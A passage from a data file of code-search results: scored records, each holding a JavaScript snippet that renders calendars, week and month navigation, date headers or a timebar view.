this.navDays[k].events.length;\n\t\t\t\t\t\t\t\t\tfor (var t=kLength; t <= j; t++) {\n\t\t\t\t\t\t\t\t\t\tthis.navDays[k].events[t] = new EmptyEvent(this.navDays[i].events[j]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tthis.navDays[k].events = [];\n\t\t\t\t\t\t\t\t\tfor (var t=0; t <= j; t++) {\n\t\t\t\t\t\t\t\t\t\tthis.navDays[k].events[t] = new EmptyEvent(this.navDays[i].events[j]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// set height for the week content\n\t\t\tthis.setContentHeight();\n\t };\n\t\t\n\t\t/*\n\t\t * PRIVATE\n\t\t * Set Navigation Time function\n\t\t * week is object Week\n\t\t */\n\t\tthis.setNavTime = function (week) {\n\t\t\tthis.navWeek = week;\n\t\t\tthis.navDays = angular.copy(week.days); //object Day\n\t\t\tthis.setNavDays();\n\t\t\tthis.navMonth = setNavMonth(week.month1, week.month2);\t// 0 - 11\n\t\t\tthis.navYear = setNavYear(week.year1, week.year2);\n\t\t\t\n\t\t\tthis.navBackground = \"easi-\" + eCalendar.shortMonths[week.month2] + \"-bkg\";\n\t\t};\n\t\t\n\t\t/* hours to display in calendar\n\t\t * 0 - 23\n\t\t */\n\t\tthis.hours = setHours();\n\t\t\n\t\t// current week\n\t\tthis.curWeek = new Week(null, eSettings.sFirstDay.slice(0,3)); \n\n\t\t// current month \n\t\tthis.curMonth1 = this.curWeek.month1; // 0 - 11\n\t\tthis.curMonth2 = this.curWeek.month2; // 0 - 11\n\t\t\n\t\t// current year\n\t\tthis.curYear1 = this.curWeek.year1;\n\t\tthis.curYear2 = this.curWeek.year2;\n\t\t\n\t\t// Navigation time\n\t\tthis.navDays = angular.copy(this.curWeek.days);\t// object Day\n\t\tthis.navWeek = this.curWeek;\n\t\tthis.navMonth = setNavMonth(this.curWeek.month1, this.curWeek.month2);\t// 0 - 11\n\t\tthis.navYear = setNavYear(this.curWeek.year1, this.curWeek.year2);\n\t\t\t\n\t\tthis.navBackground = \"easi-\" + eCalendar.shortMonths[this.curWeek.month2] + \"-bkg\";\n\t\t\n\t\t// week-content height\n\t\tthis.contentHeight = {\n\t\t\t\"height\": \"80%\",\n\t\t};\n\t\t// set content height function\n\t\tthis.setContentHeight = function() {\n\t\t\tvar max = 0;\n\t\t\tfor (var i=0; i < 7; i++) {\n\t\t\t\tif (this.navDays[i].events !== null) {\n\t\t\t\t\tif(this.navDays[i].events.length > max) {\n\t\t\t\t\t\tmax = this.navDays[i].events.length;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar height = HEIGHT_OF_DAYTAG + max * HEIGHT_OF_OVERDAY;\n\t\t\tthis.contentHeight = {\n\t\t\t\t\"height\": 'calc(100% - ' + height + 'px)',\n\t\t\t};\n\t\t};\n\t\t\n\t\t/* go to next week */\n\t\tthis.nextWeek = function() {\n\t\t\tthis.setNavTime(this.navWeek.nextWeek());\n\t\t};\n\t\t\n\t\t/* go to previous week */\n\t\tthis.prevWeek = function() {\n\t\t\tthis.setNavTime(this.navWeek.prevWeek());\n\t\t};\n\t}", "title": "" }, { "docid": "c66729ae53c2e5d2a8bf8c6dc18719c9", "score": "0.64610946", "text": "function displayDays(weekDates)\n {\n var weekDays = [];\n for(i = 0; i < weekDates.length; i++)\n {\n weekDays.push(parseDate(weekDates[i]));\n }\n for(i = 0; i < weekDays.length; i++)\n {\n $(\"#date-label-\" + i.toString()).html(weekDays[i].getDate());\n }\n \n //Display Month and Year here\n $('#month_year_text').html(MONTH_NAMES[weekDays[0].getMonth()] + \" \" + weekDays[0].getFullYear());\n }", "title": "" }, { "docid": "b4bac6af5e947d6dc9465804d367589a", "score": "0.64545316", "text": "function view_prerender() {\n if ($calendar !== false) return; // skip if $calendar already in place\n\n // build pop-up skeleton\n $calendar = $('<div>').addClass(settings.cssPrefix);\n $calendar\n .append($('<div>').addClass(css('padding'))\n .append($('<div>').addClass(css('angle')))\n .append($('<div>').addClass(css('head'))\n .append($('<div>').addClass(css('close')).html('&times;'))\n .append($('<div>').addClass(css('month')))\n .append($('<div>').addClass(css('week')))\n )\n .append($('<div>').addClass(css('bodywrap')).append($('<div>').addClass(css('body'))))\n );\n\n // build weekday title [Mo...Su]\n var $week = $calendar.find(dotcss('week'));\n for (var i=0; i<7; i++) {\n var $day = $('<div>').html(settings.languagePackage.weekdays[i]);\n if (settings.disabledDays.indexOf(i) >= 0) $day.addClass(css('disabled'));\n $week.append($day);\n }\n $week.append($('<br clear=\"all\">'))\n\n // build body rows\n var $body = $calendar.find(dotcss('body'));\n var day0 = findDay0 (settings.anchorDate, settings.prevWeeks*7);\n var dayLast = findDayLast(settings.anchorDate, settings.nextDays);\n var day = day0;\n monthHeights[0] = [0, day.getMonth(), day.getFullYear()];\n var monthHeight =0;\n //\n while (day < dayLast) {\n var $w = $('<div>').addClass(css('row'));\n\n // build each day in the week\n for (var i=0; i<7; i++) {\n var $day = $('<div unselectable=\"on\">').html(day.getDate())\n $day.addClass(css('date-'+dateToString(day))); // 'simplecalendar-date-dd-mm-yyyy'\n\n // insert month split and store row number to use in view_updateScroll()\n if (day.getDate() == 1) {\n $day.prepend($('<div>').addClass(css('split')).html(getShortMonth(day)))\n monthHeights[ monthHeights.length ] = [monthHeight, day.getMonth(), day.getFullYear()];\n }\n\n // disable day if it is a holiday or a weekend day\n var weekday = day.getDay();\n if (!settings.languagePackage.startsSunday) weekday = (weekday+6)%7;\n if ((day < settings.anchorDate) ||\n (settings.disabledDays.indexOf(weekday) >= 0) || \n (settings.disabledDates.indexOf(dateToString(day)) >= 0))\n $day.addClass(css('disabled'));\n\n // push day into week\n $w.append($day);\n day.setDate(day.getDate()+1);\n }\n // finalize week row\n $w.append($('<br clear=\"all\">'))\n $body.append($w);\n monthHeight ++;\n }\n // insert hidden calendar and curtain in DOM and bind events\n $curtain = $('<div>').addClass(css('curtain')).appendTo($('body'));\n $calendar.appendTo($('body'));\n view_bind();\n\n // connect with PIE.js to build up borders\n if (window.PIE) $calendar.each(function(){ PIE.attach(this) })\n\n // update rowHeight and dependants\n $calendar.find(dotcss('row')).first().each(function(){ rowHeight = $(this).height() });\n $calendar.find(dotcss('body')).css({ 'max-height' : settings.rows*rowHeight -1 });\n $calendar.hide();\n\n }", "title": "" }, { "docid": "8283514c982f220052693f57a9509975", "score": "0.64408004", "text": "function renderCalendar() {\n date.setDate(1);\n // determine the month days\n const MD = document.querySelector(\".days\");\n // determine the last day of the current month\n const LD = new Date(date.getFullYear(), date.getMonth() + 1, 0).getDate();\n // determine the last day of last month\n const prevLD = new Date(date.getFullYear(), date.getMonth(), 0).getDate();\n const FD = date.getDay();\n const monthID = date.getMonth();\n // getMonth determines the index number\n const currentMonth = Calendar.updateMonth(monthID);\n document.querySelector(\".date h1\").innerHTML = currentMonth;\n // display the year of the month\n document.querySelector(\".date p\").innerHTML = date.getFullYear();\n\n var days = \"\";\n\n // it is not part of the current month give opacity\n for (var counter = FD; counter > 0; counter -= 1) {\n days += `<div class=\"dif-month\">${prevLD - counter + 1}</div>`;\n }\n for (var j = 1; j <= LD; j += 1){\n if (j === new Date().getDate() && date.getMonth()\n === new Date().getMonth()) {\n days += `<div class = \"today\">${j}</div>`;\n }\n else {\n days += `<div>${j}</div>`;\n };\n };\n // display dates of the month found from MD(monthdays)\n MD.innerHTML = days;\n}", "title": "" }, { "docid": "64beb98a86ca6b187cbc0011cce8665f", "score": "0.6412581", "text": "renderContent() {\n this.renderWeekDays();\n this.renderMonths();\n this.renderDays();\n this.renderYearandCurrentDay();\n this.renderEvents();\n }", "title": "" }, { "docid": "c4bf6179b4b7bc5d36f1931d63eb4c06", "score": "0.64037997", "text": "function BuildCalendarDays() {\n var Rows = 5;\n if (((this.displayed.dayCount == 31) && (this.displayed.firstDay > 4)) || ((this.displayed.dayCount == 30) && (this.displayed.firstDay == 6))) Rows = 6;\n else if ((this.displayed.dayCount == 28) && (this.displayed.firstDay == 0)) Rows = 4;\n var HTML = '<table width=\"' + (CellWidth * 7) + '\" cellspacing=\"0\" cellpadding=\"1\" style=\"cursor:default\">';\n for (var j=0;j<Rows;j++) {\n HTML += '<tr>';\n for (var i=1;i<=7;i++) {\n Day = (j * 7) + (i - this.displayed.firstDay);\n if ((Day >= 1) && (Day <= this.displayed.dayCount)) {\n if ((this.displayed.yearValue == this.picked.yearValue) && (this.displayed.monthIndex == this.picked.monthIndex) && (Day == this.picked.day)) {\n TextStyle = 'color:white;font-weight:bold;'\n BackColor = DayBGColor;\n }\n else {\n TextStyle = 'color:black;'\n BackColor = CalBGColor;\n }\n if ((this.displayed.yearValue == Today.getFullYear()) && (this.displayed.monthIndex == Today.getMonth()) && (Day == Today.getDate())) TextStyle += 'border:1px solid darkred;padding:0px;';\n HTML += '<td align=\"center\" class=\"calendarDateInput\" style=\"cursor:default;height:' + CellHeight + ';width:' + CellWidth + ';' + TextStyle + ';background-color:' + BackColor + '\" onClick=\"' + this.objName + '.pickDay(' + Day + ')\" onMouseOver=\"return ' + this.objName + '.displayed.dayHover(this,true,\\'' + BackColor + '\\',' + Day + ')\" onMouseOut=\"return ' + this.objName + '.displayed.dayHover(this,false,\\'' + BackColor + '\\')\">' + Day + '</td>';\n }\n else HTML += '<td class=\"calendarDateInput\" style=\"height:' + CellHeight + '\">&nbsp;</td>';\n }\n HTML += '</tr>';\n }\n return HTML += '</table>';\n}", "title": "" }, { "docid": "126b029fc2178257b5cb4ffff57ff74f", "score": "0.6358348", "text": "function renderDaysOfMonth() {\n $('#currentMonth').text(CalendarGlobals.monthToDisplayAsText() + ' ' + CalendarGlobals.yearToDisplay());\n // We get the days for the month we need to display based on the number of times the user has pressed\n // the forward or backward button.\n var daysInMonthToDisplay = CalendarGlobals.daysInMonth();\n var cellPositions = CalendarGlobals.gridCellPositions;\n\n // All text elements representing the dates in the month are grouped together in the \"datesGroup\" element by the initalizing\n // function below. The initializing function is also responsible for drawing the rectangles that make up the grid.\n CalendarGlobals.datesGroup\n .selectAll(\"text\")\n .data(daysInMonthToDisplay)\n .attr(\"x\", function (d,i) { return cellPositions[i][0]; })\n .attr(\"y\", function (d,i) { return cellPositions[i][1]; })\n .attr(\"dx\", 20) // right padding\n .attr(\"dy\", 20) // vertical alignment : middle\n .attr(\"transform\", \"translate(\" + CalendarGlobals.gridXTranslation + \",\" + CalendarGlobals.gridYTranslation + \")\")\n .text(function (d) { return d[0]; }); // Render text for the day of the week\n\n CalendarGlobals.calendar\n .selectAll(\"rect\")\n .data(daysInMonthToDisplay)\n // Here we change the color depending on whether the day is in the current month, the previous month or the next month.\n // The function that generates the dates for any given month will also specify the colors for days that are not part of the\n // current month. We just have to use it to fill the rectangle\n .style(\"fill\", function (d) { return d[1]; });\n\n drawGraphsForMonthlyData();\n }", "title": "" }, { "docid": "8767f3e1ce3422bab014b8b18934bf05", "score": "0.6350638", "text": "function displayDay() {\n $(\".lead\").append(moment().format('dddd MMMM Do YYYY'));\n $(\".lead\").css(\"margin\", \"60px 0px 0px 0px\");\n $(\".lead\").css(\"font-size\", \"25px\")\n }", "title": "" }, { "docid": "315b331f4a1a45bb84a3e2df478a6991", "score": "0.6348874", "text": "function render(){var options=calendar.options;var sections=options.header;tm = options.theme?'ui':'fc';if(sections){if(!el){el = this.el = $(\"<div class='fc-toolbar'/>\");}else {el.empty();}el.append(renderSection('left')).append(renderSection('right')).append(renderSection('center')).append('<div class=\"fc-clear\"/>');}else {removeElement();}}", "title": "" }, { "docid": "579eeb63adfd1b6ce3b2aadc87402ac7", "score": "0.6347739", "text": "renderHeader() {\n const dateFormat = \"YYYY/MM/DD - \";\n const addDayFormat = \"DD\"\n //week starting date\n let startDate = dateFns.startOfWeek(this.state.currentWeek);\n // today\n const date = this.state.currentWeek\n const newday = new Date(Number(startDate))\n newday.setDate(date.getDate() + 6)\n //get time zone\n var zone = new Date();\n var timezone = zone.getTimezoneOffset() / -60;\n\n return (\n <div className=\"row\">\n <div className=\"col\">\n <button className=\"icon button\" onClick={this.prevWeek}>chevron_left</button>\n <button className=\"icon button\" onClick={this.nextWeek}>chevron_right</button>\n <span className=\"weektext\">\n {dateFns.format(startDate, dateFormat)}\n {dateFns.format(newday, addDayFormat)}\n </span>\n <span className=\"timezone\">時間以香港(GMT{timezone}:00) 顯示</span>\n </div>\n\n </div>\n )\n }", "title": "" }, { "docid": "893e493a7362f157ea1b72f91a671279", "score": "0.63437986", "text": "function showTimeDay() {\n var today = new Date();\n var time = today.getHours() + \":\" + today.getMinutes() +\":\" + today.getSeconds(); //getting time \n\n document.getElementById('topTime').innerHTML = time\n\n document.getElementById('time').innerHTML = time; //showing time on page\n\n var weekDays = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"];//array of days\n document.getElementById('day').innerHTML = weekDays[today.getDay()] // showing todays day on page\n\n}", "title": "" }, { "docid": "bdf046e6732a43d8bb201821ca5b4721", "score": "0.63289744", "text": "function calendar(){\n var day=['Chủ nhật','Thứ hai','Thứ ba','Thứ tư','Thứ năm','Thứ sáu','Thứ bảy'];\n var month=['01','02','03','04','05','06','07','08','09','10','11','12'];\n var d=new Date();\n setText('calendar-day', day[d.getDay()]);\n setText('calendar-date', d.getDate());\n setText('calendar-month-year', month[d.getMonth()]+'/'+(1900+d.getYear()));\n}", "title": "" }, { "docid": "99b2b281faf0d9ab51090cf10a84beb6", "score": "0.6321495", "text": "ShowDates() {\n var container = document.getElementById('calendar_body');\n var ul = document.createElement(\"ul\");\n ul.id = \"calendar\";\n container.appendChild(ul);\n var day = 1;\n // Print out all the dates in a given month\n for (var i = 0; day <= this.daysInMonth(); i++) {\n var li = document.createElement(\"li\");\n if (new Date(this.year, this.month - 1, 1).getDay() - i > 0) {\n li.className = \"not_date\";\n var node = document.createTextNode(\"\");\n } else if(day == this.date){\n li.className = \"today\";\n var node = document.createTextNode(day);\n day++;\n }else {\n li.className = \"date\";\n var node = document.createTextNode(day);\n day++;\n }\n li.appendChild(node);\n ul.appendChild(li);\n }\n\n // Fill the remaining empty spots on the last row if any\n var index = 6;\n while (index - new Date(this.year, this.month, 0).getDay() > 0) {\n var li = document.createElement(\"li\");\n li.className = \"not_date\";\n var node = document.createTextNode(\"\");\n li.appendChild(node);\n ul.appendChild(li);\n index--;\n }\n }", "title": "" }, { "docid": "92f5e9a55e2ba6e37d046c6ecb37d1c7", "score": "0.63199705", "text": "function drawCalendar(container) {\n html = '<div class=\"calendarXHeader\"> ' +\n ' <a href=\"#\" class=\"previous round\">' +\n ' <</a> <a href=\"#\" class=\"forward round\">>' +\n ' </a>' +\n '<a href=\"#\" class=\"today\">today</a>' +\n ' <div class=\"month\"></div>' +\n '</div>' +\n '<div class=\"calendarXLowerHeader\">' +\n ' <ul class=\"weekdays\">' +\n ' <li>Sun</li>' +\n ' <li>Mon</li>' +\n ' <li>Tue</li>' +\n ' <li>Wed</li>' +\n ' <li>Thu</li>' +\n ' <li>Fri</li>' +\n ' <li>Sat</li>' +\n ' </ul>' +\n '</div>' +\n '<div class=\"calendarXBody\"></div>' +\n '<div class=\"calendarXFooter\"></div>';\n $(container).append(html);\n calendarElement = container;\n}", "title": "" }, { "docid": "f6c652a0087a870a5eb46e70c5721f58", "score": "0.62977725", "text": "function showWeekDates(date) {\n let header;\n for (let i=0; i<=6; i++) {\n let day_name = getDayName(i);\n header = document.querySelector('#'+day_name + ' .wc_date');\n header.innerHTML = date[i];\n // check if current date is today\n if(date[i] == getShortDate(new Date())[0]) {\n document.querySelector('#'+day_name + ' .day_header').classList.add('today');\n }\n }\n}", "title": "" }, { "docid": "410e2807573770959538012f29d824bc", "score": "0.6244342", "text": "function renderCalendar(parsley,journal,startDate) {\r\n //TODO: make sure renderWeek uses hoursOffset to determine what \"today\" is!!\r\n //TODO: generateParlsyeColors is STILL iffy... figure out where to put it\r\n var mode = \"Box\";\r\n var calendar = {};\r\n calendar.nowLineInterval;\r\n\r\n var dayName = utils.dayName\r\n dayNameShort = utils.dayNameShort,\r\n monthNameShort = utils.monthNameShort;\r\n weekNum = utils.weekNum;\r\n\r\n //TODO: this.... belongs in renderWeek()\r\n //The reason it's here is.. button needs access to closured startDate\r\n function getAdjustedOffset() {\r\n //TODO: get daysInMonth out of here! this is to squash a task rendering bug \r\n // when daysInMonth is scoped from renderCalendar()!\r\n var daysInMonth = new Date(startDate.getFullYear(),startDate.getMonth()+1,0).getDate();\r\n var currentDate = new Date(startDate.getTime()),\r\n startDay = startDate.getDate(),\r\n startHours = [],\r\n startHour,\r\n currentDay,\r\n minOffset\r\n for (var i = 0; i < 7; i++) {\r\n currentDay = startDay+i;\r\n currentDate.setDate(currentDay);\r\n startHour = journal.dayStartHour(currentDate);\r\n //Warning: magic closure var. Might as well start marking them.\r\n if (typeof startHour == 'number' && currentDay <= daysInMonth) {\r\n startHours.push(startHour);\r\n }\r\n }\r\n startHours = startHours.length ? startHours : [0];\r\n return Math.min.apply(Math,startHours);\r\n }\r\n\r\n function generateParsleyColors(parsley,property) { \r\n var colors = {}\r\n var stats = Object.keys(parsley.stats[property]);\r\n var seed;\r\n\r\n stats.forEach( function(stat) { \r\n // sums the ascii values of each character in the stat to use as seed\r\n var charSum = stat.split('').reduce( function(sum,item,i) { return sum + item.charCodeAt()*i+2 },0);\r\n seed = charSum;\r\n\r\n var color = {\r\n r: parseInt(seededRandom()*100+50),\r\n g: parseInt(seededRandom()*100+50),\r\n b: parseInt(seededRandom()*100+100)\r\n }\r\n var colorString = \"rgb(\"+color.r+','+color.g+','+color.b+\")\";\r\n\r\n colors[stat] = colorString;\r\n\r\n // $(\"#output\").append('<div style=\"background:'+colorString+'\">'+stat+' '+colorString+' '+charSum+'</div>');\r\n });\r\n return colors;\r\n\r\n function seededRandom() {\r\n var x = Math.sin(seed++) * 10000;\r\n return x - Math.floor(x);\r\n }\r\n\r\n }\r\n\r\n var parsleyColors = {};\r\n parsleyColors[\"category\"] = generateParsleyColors(parsley,\"category\");\r\n parsleyColors[\"subcategory\"] = generateParsleyColors(parsley,\"subcategory\");\r\n\r\n var currentDate = new Date();\r\n //used in renderWeek for Uptime\r\n var latestStartDate = currentDate;\r\n\r\n var todayStartHour = journal.dayStartHour(currentDate);\r\n var hoursInPomDay = 15;\r\n var hoursInPeriod = hoursInPomDay/3;\r\n\r\n //Quicky currentDate() debug:\r\n // currentDate.setMonth(10);\r\n // currentDate.setDate(29);\r\n // currentDate.setYear(2015);\r\n\r\n // var $calendar = $(\"#pomsheet\");\r\n $(\"#calendar\").append(div(\"cal-heading\",true));\r\n var labels = \"weeklies monthlies timebar treemap\".split(' ');\r\n // $calendar.append(div(\"cal-heading\",true));\r\n $(\"#cal-heading\").append(div(labels,false,\"label\"));\r\n $(\"#cal-heading\").append(div(\"task-details\",true));\r\n $(\"#calendar\").append(div(\"cal-nav\",true))\r\n $(\"#calendar\").append(div(\"cal-body\",true));\r\n\r\n // div(\"previous\");\r\n // var hoursOffset = 12;\r\n var hoursOffset = 6;\r\n offsetCurrentDate = new Date(currentDate.getTime());\r\n offsetCurrentDate.setHours(offsetCurrentDate.getHours()-hoursOffset);\r\n\r\n var today = {}\r\n today.getTotal = function() {\r\n return parsley.dayTotal(currentDate,hoursOffset);\r\n };\r\n today.getTarget = function() { return parsley.dayTarget(currentDate); };\r\n today.getLeft = function() {\r\n return Math.max(today.getTarget()-today.getTotal(),0);\r\n };\r\n today.getPeriodPoms = function() {\r\n return [0,0,0];\r\n };\r\n\r\n\r\n var startDate = startDate || weekOf(offsetCurrentDate);\r\n\r\n // var startDate = startDate || weekOf(currentDate);\r\n\r\n var benchStart, benchEnd, benchElapsed;\r\n //EXTRACT INTO OPTIONS:\r\n\r\n benchStart = new Date().getTime();\r\n // renderWeek(startDate,hoursOffset);\r\n \r\n /// DRY this up to renderByRoute or something\r\n var actionMap = {\r\n weeklies: renderWeek.bind(null, startDate, hoursOffset, mode),\r\n monthlies: renderMonth.bind(null, startDate, hoursOffset),\r\n timebar: renderTimebar.bind(null, arcOf(startDate))\r\n };\r\n console.log(actionMap[window.location.hash.substr(1)]);\r\n (actionMap[window.location.hash.substr(1)] || actionMap['weeklies'])() \r\n\r\n\r\n // renderMonth(startDate,hoursOffset);\r\n // renderTimebar(arcOf(startDate),false,\"media\");\r\n\r\n benchEnd = new Date().getTime();\r\n benchElapsed = benchEnd-benchStart;\r\n // p(benchElapsed);\r\n\r\n // $(\"#cal-heading .label\").on(\"touch click\",function() {\r\n\r\n // });\r\n //NOTE: this startDate is from renderCalendar()!\r\n //NOTE: mode is also from renderCalendar!\r\n //TODO: maybe make these not depend on *setting* startDate?\r\n return {\r\n showTaskStatus: function() {\r\n // r(\"ON!\");\r\n },\r\n hideTaskStatus: function() {\r\n // r(\"OFF!\");\r\n },\r\n setMonth: function(index) {\r\n // var newDate = new Date(startDate.getTime()); \r\n startDate.setMonth(index);\r\n renderWeek(startDate,hoursOffset,mode);\r\n },\r\n setWeek: function(index) {\r\n var newWeekStart = (index)*7+1;\r\n startDate.setDate(newWeekStart);\r\n renderWeek(startDate,hoursOffset,mode);\r\n\r\n },\r\n setYear: function(index) {\r\n var year = parsley.getUnique(\"year\").sort();\r\n startDate.setYear(year[index]);\r\n renderWeek(startDate,hoursOffset,mode);\r\n },\r\n setOption: function(index) { \r\n //Ugh...\r\n mode = [\"Box\",\"Report\"][index];\r\n renderWeek(startDate,hoursOffset,mode);\r\n },\r\n doLabelAction: function(label) {\r\n benchStart = new Date().getTime();\r\n var action = {\r\n weeklies: function() {\r\n route('weeklies')\r\n renderWeek(startDate,hoursOffset);\r\n },\r\n monthlies: function() {\r\n route('monthlies')\r\n renderMonth(startDate,hoursOffset);\r\n },\r\n timebar: function() {\r\n route('timebar')\r\n renderTimebar(arcOf(startDate));\r\n },\r\n treemap: function() {\r\n renderTreemap();\r\n },\r\n next: function() {\r\n var page = window.location.hash.substr(1)\r\n var currentMonth = startDate.getMonth();\r\n if (page === 'monthlies') {\r\n startDate.setMonth(startDate.getMonth()+1)\r\n } else {\r\n startDate.setDate(startDate.getDate()+7);\r\n if (startDate.getMonth() != currentMonth) {\r\n startDate.setDate(1);\r\n }\r\n }\r\n var actionMap = {\r\n weeklies: renderWeek.bind(null, startDate, hoursOffset, mode),\r\n monthlies: renderMonth.bind(null, startDate, hoursOffset),\r\n };\r\n (actionMap[page] || actionMap['weeklies'])()\r\n },\r\n previous: function() {\r\n var page = window.location.hash.substr(1)\r\n var currentMonth = startDate.getMonth();\r\n if (page === 'monthlies') {\r\n startDate.setMonth(startDate.getMonth()-1)\r\n } else {\r\n var dateDiff = startDate.getDate()-7;\r\n startDate.setDate(dateDiff);\r\n //sets date to 29th if there is month bleed\r\n //later, there will be a setting for this.\r\n if (dateDiff < 0) { \r\n startDate.setDate(29); \r\n //fixes feb\r\n if (startDate.getDate() == 1) {\r\n startDate.setMonth(1);\r\n startDate.setDate(22);\r\n }\r\n }\r\n }\r\n var actionMap = {\r\n weeklies: renderWeek.bind(null, startDate, hoursOffset, mode),\r\n monthlies: renderMonth.bind(null, startDate, hoursOffset),\r\n };\r\n (actionMap[page] || actionMap['weeklies'])()\r\n\r\n },\r\n today: function() {\r\n currentDate = new Date();\r\n startDate = weekOf(currentDate);\r\n var actionMap = {\r\n weeklies: renderWeek.bind(null, startDate, hoursOffset, mode),\r\n monthlies: renderMonth.bind(null, startDate, hoursOffset),\r\n };\r\n (actionMap[window.location.hash.substr(1)] || actionMap['weeklies'])()\r\n },\r\n '+': function() {\r\n hoursOffset += 1;\r\n //TODO: please fix +24 and -0 offsets. DONE?\r\n hoursOffset = Math.min(hoursOffset,23);\r\n renderWeek(startDate,hoursOffset,mode);\r\n // r(hoursOffset);\r\n },\r\n '-': function() {\r\n hoursOffset -= 1;\r\n hoursOffset = Math.max(hoursOffset,0);\r\n renderWeek(startDate,hoursOffset,mode);\r\n \r\n // r(hoursOffset);\r\n },\r\n R: function() {\r\n hoursOffset = getAdjustedOffset();\r\n renderWeek(startDate,hoursOffset,mode,true);\r\n }\r\n };\r\n action[label]();\r\n benchEnd = new Date().getTime();\r\n benchElapsed = benchEnd-benchStart;\r\n // r(benchElapsed);\r\n }\r\n\r\n\r\n\r\n }\r\n\r\n function arcOf(date) {\r\n var copiedDate = new Date(date.getTime());\r\n var month = copiedDate.getMonth();\r\n copiedDate.setDate(1);\r\n copiedDate.setMonth(Math.floor(month/4)*4);\r\n copiedDate.setHours(0,0,0,0);\r\n return copiedDate;\r\n }\r\n\r\n function weekOf(date) {\r\n var day = date.getDate();\r\n var startDay = 7*Math.floor((day-1)/7)+1;\r\n var copiedDate = new Date(date.getTime());\r\n copiedDate.setDate(startDay);\r\n copiedDate.setHours(0,0,0,0);\r\n return copiedDate;\r\n }\r\n\r\n function div(labelArray,noTitle,className) {\r\n var html = '';\r\n if (!(labelArray instanceof Array)) {\r\n labelArray = [labelArray];\r\n }\r\n labelArray.forEach(function(id) {\r\n html = html + '<div' + (className ? ' class=\"'+className+'\"':'') +' id=\"'+id+'\">'+(noTitle ? '' : id)+'</div>';\r\n });\r\n return html;\r\n }\r\n\r\n function renderTimebar(startDate,fullYear,propToShow) {\r\n fullYear = fullYear || false;\r\n propToShow = propToShow || \"category\";\r\n // p(startDate);\r\n benchStart = new Date().getTime();\r\n $(\"#cal-body\").empty();\r\n // $(\"#cal-nav\").empty();\r\n $(\"#cal-nav *\").unbind();\r\n var epicNav = $(\"#mini-epic-nav\"),\r\n yearNav = $(\"#mini-year-nav\"),\r\n monthNav = $(\"#mini-month-nav\");\r\n yearNav.empty();\r\n monthNav.empty();\r\n epicNav.empty();\r\n $(\"#mini-option-nav\").remove();\r\n\r\n var arcs = \"Jan-Apr May-Aug Sep-Dec Full&nbspYear\".split(' ');\r\n var monthsInArc = 4;\r\n var monthsToShow = fullYear ? 12 : monthsInArc;\r\n\r\n //Generate colors for property if they don't exist\r\n //Otherwise, use cached\r\n parsleyColors[propToShow] = parsleyColors[propToShow] || generateParsleyColors(parsley,propToShow);\r\n\r\n parsley.getUnique(\"year\").sort().forEach(function(year) { \r\n epicNav.append('<div class=\"mini-year\">'+year+'</div>')\r\n });\r\n for (var i in arcs) {\r\n yearNav.append(\"<div class='mini-month'>\"+arcs[i]+\"</div>\");\r\n }\r\n var items = \"Categories Subcategories Media Supps\".split(' ');\r\n for (var i in items) { \r\n monthNav.append(\"<div class ='mini-week'>\"+items[i]+\"</div>\");\r\n }\r\n\r\n // var weekIndex = Math.floor((startDate.getDate()-1)/7)+1;\r\n // // p(weekIndex);\r\n // var monthIndex = startDate.getMonth()+1;\r\n\r\n //Please stop calling parsley.getUnique().sort() for this crap.\r\n var yearIndex = parsley.getUnique(\"year\").sort().indexOf(startDate.getFullYear().toString())+1;\r\n\r\n var arcIndex = Math.floor(startDate.getMonth()/4)+1;\r\n var arcPos = (arcIndex-1)*monthsInArc;\r\n var propOptions = \"category subcategory media\".split(' ');\r\n\r\n // $(\"#mini-month-nav .mini-week:nth-child(\"+weekIndex+\")\").addClass(\"current\");\r\n $(\"#mini-epic-nav .mini-year:nth-child(\"+yearIndex+\")\").addClass(\"current\");\r\n $(\"#mini-year-nav .mini-month:nth-child(\"+(fullYear ? 4 : arcIndex)+\")\").addClass(\"current\");\r\n $(\"#mini-month-nav .mini-week:nth-child(\"+(propOptions.indexOf(propToShow)+1)+\")\").addClass(\"current\");\r\n\r\n $(\".mini-month\").on(\"touch click\", function() {\r\n var index = $(\".mini-month\").index(this);\r\n var newDate = new Date(startDate.getTime());\r\n //calls renderTimebar for full year display\r\n if (index == 3) {\r\n newDate.setMonth(0);\r\n renderTimebar(newDate,true,propToShow);\r\n } else {\r\n newDate.setMonth(index*4);\r\n renderTimebar(newDate,false,propToShow);\r\n } \r\n });\r\n $(\".mini-year\").on(\"touch click\", function() { \r\n var index = $(\".mini-year\").index(this);\r\n var newDate = new Date(startDate.getTime());\r\n var year = parsley.getUnique(\"year\").sort();\r\n // p(year);\r\n // p(index);\r\n newDate.setYear(year[index]);\r\n renderTimebar(newDate,fullYear,propToShow);\r\n });\r\n //bleh, refactor this; not week in this view\r\n $(\".mini-week\").on(\"touch click\", function() {\r\n var index = $(\".mini-week\").index(this);\r\n if (index == 3) {\r\n //do supp thing\r\n } else {\r\n renderTimebar(startDate,fullYear,propOptions[index]);\r\n }\r\n });\r\n\r\n var table = $(\"<table>\").addClass('timebar');\r\n var row,catCol;\r\n var headingRow = \"<td class='cat-width-setter' style='width:1px;white-space:nowrap;'>Categories</td><td style='width:2px'></td>\"\r\n for (i = 0; i < monthsToShow; i++) {\r\n headingRow += \"<td colspan=5>\"+monthNameShort(i+arcPos)+\"</td>\";\r\n }\r\n\r\n // p(monthsInArc*5);\r\n // p(arcPos*5);\r\n\r\n table.append(headingRow);\r\n var tasks = fullYear ? filterToYear(startDate) : filterToArc(startDate),\r\n gridStats = buildGridStats(tasks),\r\n uniques = parsley.getUnique(propToShow,tasks);\r\n stats = parsley.createFilteredStats(tasks);\r\n // uniques = uniques.reverse();\r\n uniques = uniques.sort(function(a,b) {\r\n return Object.keys(gridStats[b]).length-Object.keys(gridStats[a]).length\r\n // return stats.category[b]-stats.category[a];\r\n });\r\n function d2h(d) {return d.toString(16);}\r\n\r\n var drawStart = fullYear ? 0 : arcPos*5,\r\n drawEnd = fullYear ? 60 : (arcPos+monthsInArc)*5;\r\n\r\n //TODO: this is for setting the Categories column width despite fixed 